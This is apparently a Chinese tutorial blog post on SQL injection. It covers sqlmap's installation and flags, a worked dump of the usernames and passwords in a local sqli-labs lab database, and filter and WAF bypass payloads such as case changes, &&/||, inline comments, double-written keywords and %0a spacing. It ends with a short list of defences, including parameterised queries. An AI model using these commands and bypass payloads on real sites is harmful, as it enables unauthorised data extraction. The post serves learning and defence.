如何分析SQLMap和SQLi注入防御

第一部分:Sqlmap使用

1.1 sqlmap介紹

1. 前邊說了一些sql注入的基礎語句,但是手工注入很麻煩,我們可以借助sqlmap這個強大的sql注入工具,進行數據的獲取.

2. sqlmap介紹

(1)#sqlmap是一種開源的滲透測試工具,可以自動檢測和利用SQL注入漏洞以及
接入該數據庫的服務器。它擁有非常強大的檢測引擎、具有多種特性的滲透測試器、通過數據庫指紋提取訪問底層文件系統并通過外帶連接執行命令。

官方網站: sqlmap.org?

如何分析SQLMap和SQLi注入防御

(2)#支持的數據庫:
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支持多種注入方式

#UNION query SQL injection(可聯合查詢注入)
#Error-based SQL injection(報錯型注入)
#Boolean-based blind SQL injection(布爾型注入)
#Time-based blind SQL injection(基于時間延遲注入)
#Stacked queries SQL injection(可多語句查詢注入)

1.2 sqlmap安裝和環境搭建

1.sqlmap安裝主要步驟

? ?(1)安裝python環境—>sqlmap需要python環境

? ? ?python下載地址: https://www.python.org/downloads/release/python-2715/)

如何分析SQLMap和SQLi注入防御

? ?sqlmap跟Python2.X版本兼容比較好.(python的安裝步驟直接下一步即可,需要修改的就是sqlmap的安裝路徑,這里改成了C:UsersAdministratorpython,為了直接命令行可以進入sqlmap目錄更方便操作)

? ?(2)Python安裝不要安裝到中文路徑下,并把Python添加到環境變量中.

? ?如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御

? (3)下載并安裝sqlmap,修改安裝目錄為C:UsersAdministratorsqlmap

? ?(4)測試python環境: ?進入cmd命令行,輸入python,如下提示則安裝成功

? ?C:UsersAdministrator>python
? ?Python 2.7.16 (v2.7.16:413a49145e, Mar ?4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] on win32
? ?Type “help”, “copyright”, “credits” or “license” for more information.

? ? >>> exit(); ??

? ?(5)sqlmap測試: ?進入cmd命令行,輸入sqlmap.py ?-h (注意路徑)

? C:UsersAdministratorsqlmap>sqlmap.py ?-h ? #查看幫助信息

如何分析SQLMap和SQLi注入防御

1.3 sqlmap常用參數

#(1)獲取庫名,列名,權限

  • –dbs ? #獲取所有數據庫

  • –dbms ? mysql ?#指定數據庫類型

  • –users ? #所有數據庫用戶(數據庫本地用戶名)

  • –passwords ?#獲取數據庫密碼,(有權限才能讀取)

  • –technique ?#指定使用哪種注入類型

  • –current-db #當前數據庫

  • –banner ? ? ? #獲取數據庫標識

  • -D database_name –tables ? ?#-D用于指定數據,–tables獲取某個庫下的表

  • -D database_name -T table_name –columns #-T指定表名,–columns獲取列字段

  • -D database_name -T table_name -C column_1,column_2 –dump
    ? ? ? ? ? ? ? ? #-C指定字段名,–dump顯示結果

  • –users ? #列數據庫管理用戶,當前用戶有權限讀取包含所有用戶的表的權限時,就可以列出所有管理用戶。

  • –current-user ?#在大多數據庫中可以獲取到管理數據的用戶。

  • –is-dba ? ? ? #判斷當前的用戶是否為管理,是的話會返回True。

  • –privileges ? #當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的權限,sqlmap將會告訴你哪個是數據庫的超級管理員。也可以用-U參 ?數指定你想看那個用戶的權限。

  • –proxy ? #指定一個代理服務器 eg: –proxy http://local:8080

#(2)指定前后綴:

  • #sqlmap不能探測很多的干擾字符,閉合時可以手工指定前綴和后綴

  • select * from users where id=(((‘1’))) and 1=1

  • #–prefix=PREFIX 注入payload字符串前綴

  • #–suffix=SUFFIX ?注入payload字符串后綴
    eg:sqlmap -u “www.target.com/index.php?id=1” -p id –prefix “’))”
    –suffix “AND (‘1’=’1”

#(3)導出結果:

  • sqlmap -u “www.a.com/1.php?id=1” –file-write=”d:/1.txt”

  • –file-dest=”E:/wwwroot/web/one.php“

  • –batch 全自動

  • –start=開始條數 –stop=結束條數

  • –dump 導出數據

  • –dump-all 導出所有數據

  • –purge-output/ –purge ?清空緩存目錄

  • –sql-shell 反彈sqlshell,類似于sql查詢分析器 ?默認路徑.sqlmap (點sqlmap)

1.4 sqlmap實戰舉例

#Less-1–Less65通用語句(這幾句是最常用的幾個參數,必會型)

#(1)獲取所有庫名
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” –dbs –dbms=mysql –batch

#解析:

-u 后加url,表示測試的url

–dbs表示獲取所有數據庫

–dbms表示指定數據庫類型為mysql

–batch表示自動獲取

-D ?security –tables 表示獲取指定數據庫為security 的表名

-D ?security -T ?users –columns 表示獲取指定數據庫為security里users表中的列名

-D security -T users -C username,password –dump ?#獲取security庫,users表中username和password字段的數據信息,–dump表示顯示結果

#結果:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

#(2)獲取當前庫名
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” –current-db –batch
#結果:
current database: ? ?‘security’

#(3)獲取當前表名
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” -D security –tables –batch

#結果:
Database: security
[4 tables]
+———-+
| emails ? |
| referers |
| uagents ?|
| users ? ?|
+———-+

#(4)獲取當前列名
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” -D security -T users –columns ?–batch

#結果:
Database: security
Table: users
[3 columns]
+———-+————-+
| Column ? | Type ? ? ? ?|
+———-+————-+
| id ? ? ? | int(3) ? ? ?|
| password | varchar(20) |
| username | varchar(20) |
+———-+————-+

#(5)獲取users表中username和password內容
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” -D security -T users -C username,password –dump ?–batch

#結果:
Database: security
Table: users
[13 entries]
+———-+————+
| username | password ? |
+———-+————+
| Dumb ? ? | Dumb ? ? ? |
| Angelina | I-kill-you |
| Dummy ? ?| p@ssword ? |
| secure ? | crappy ? ? |
| stupid ? | stupidity ?|
| superman | genious ? ?|
| batman ? | mob!le ? ? |
| admin ? ?| admin ? ? ?|
| admin1 ? | admin1 ? ? |
| admin2 ? | admin2 ? ? |
| admin3 ? | admin3 ? ? |
| dhakkan ?| dumbo ? ? ?|
| admin4 ? | admin4 ? ? |
+———-+————+

第二部分:sqli注入之waf繞過

2.1 SQL注入之waf繞過方法介紹

說明:這里僅舉例說明繞過方式,實際場景則更加復雜. 多種繞過方式可以混合使用,還可以進行編碼.

1.前邊知道了sql注入的方式后,如何才能防止sql注入呢?

  • #(1)過濾注釋符

  • #(2)過濾and或or

  • #(3)過濾select或union

  • #(4)過濾黑名單

2.過濾了and/or繞過方式有哪些?

  • #(1)mysql中大小寫不敏感,都可以正確執行;===>使用大小寫變形

  • #(2)mysql支持十六進制,用16進制或用URL編碼;

  • #(3)用符號替換單詞 ? ===>符號繞過 and(&&) ?or(||)

  • #(4)內聯注釋和多行注釋===>在敏感詞匯中添加注釋a/**/nd ? 雙寫繞過oORr

3.當然還有其他方法,我們以這幾種過濾方式為例,來說說如何繞過.

? ?真實場景中有waf設備,waf其實也是通過過濾一些關鍵字來防止sql注入的.

2.2 sql注入之繞過waf實驗

1.過濾了注釋符(Less-23為例)

#(1)過濾注釋符的原因:對于正常的SQL語句中,注釋符起到說明作用的功能。但是對于在利用SQL注入漏洞過程中,注釋符起到閉合 單引號、多單引號、雙引號、單括號、多括號的功能。
單行注釋: ?–+ 或 –空格 ?或 #
多行注釋: /* 多行注釋內容 */

#(2)過濾函數preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):執行一個正則表達式的搜索和替換。
$pattern: 要搜索的模式,可以是字符串或一個字符串數組
$replacement: 用于替換的字符串或字符串數組。
$subject: 要搜索替換的目標字符串或字符串數組。

如何分析SQLMap和SQLi注入防御

#(3)繞過注釋符:
利用注釋符過濾不能成功閉合單引號等,換一種思路 利用 or ‘1’=’1閉合單引號等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273

如何分析SQLMap和SQLi注入防御

2.過濾了and或or應該如何繞過?(Less-25為例)

(1)源碼分析:可以看到把or或and替換為了空

如何分析SQLMap和SQLi注入防御

(2)操作步驟

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

3.過濾了空格應該如何繞過?(Less-26為例)

(1)用%0a來充當空格

如何分析SQLMap和SQLi注入防御

4.過濾了select/union該如何繞過?(Less-27為例)

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

第三部分:sqli注入防御

3.1 sql注入防御方法

1.常用防護措施:

#(1)、關閉錯誤提示: PHP配置文件php.ini中的display_errors=Off
#(2)、魔術引號(與addslashes的效果相同):當php.ini里的magic_quotes_gpc=On時。提交的變量中所有的單引號(’)、雙引號(”)、反斜線()與 NUL(NULL 字符)會自動轉為含有反斜線的轉義字符
#(3)、對數據進行過濾:比如過濾掉and/or/union等常用關鍵詞
#(4)、控制連接數據庫的用戶權限:每個庫針對單個庫設置一個管理員,不要用root權限.
#(5)、預處理和參數化(PDO):處理用戶傳入的參數,返回布爾值,不是單純的對數據進行”拼接”,從而避免sql注入.
#(6)、硬件防護措施(WAF等硬件)

? 版權聲明
THE END
喜歡就支持一下吧
點贊11 分享